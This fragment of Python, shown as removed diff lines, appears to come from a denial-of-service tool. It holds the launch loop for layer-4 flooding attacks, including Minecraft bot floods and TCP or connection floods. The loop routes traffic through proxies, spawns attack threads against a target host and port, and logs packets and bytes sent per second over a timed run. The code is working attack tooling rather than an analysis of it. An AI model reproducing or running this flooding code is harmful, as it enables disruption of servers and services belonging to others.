- proxies = handleProxyList(con, proxy_li, proxy_ty)
- if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
- exit("this method cannot use for layer4 proxy")
- else:
- logger.setLevel("DEBUG")
-
- protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
-
- if method == "MCBOT":
- with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
- Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
- Tools.send(s, Minecraft.data(b'\x00'))
- protocolid = Tools.protocolRex.search(str(s.recv(1024)))
- protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
-
- if 47 < protocolid > 758:
- protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
- for _ in range(threads):
- Layer4((target, port), ref, method, event,
- proxies, protocolid).start()
- logger.info(
- f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
- % (target or url.host, method, timer, threads))
- event.set()
- ts = time()
- while time() < ts + timer:
- logger.debug(
- f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
- (target or url.host,
- port or (url.port or 80),
- method,
- Tools.humanformat(int(REQUESTS_SENT)),
- Tools.humanbytes(int(BYTES_SEND)),
- round((time() - ts) / timer * 100, 2)))
- REQUESTS_SENT.set(0)
- BYTES_SEND.set(0)
- sleep(1)
- event.clear()
- exit()
- ToolsConsole.usage()
|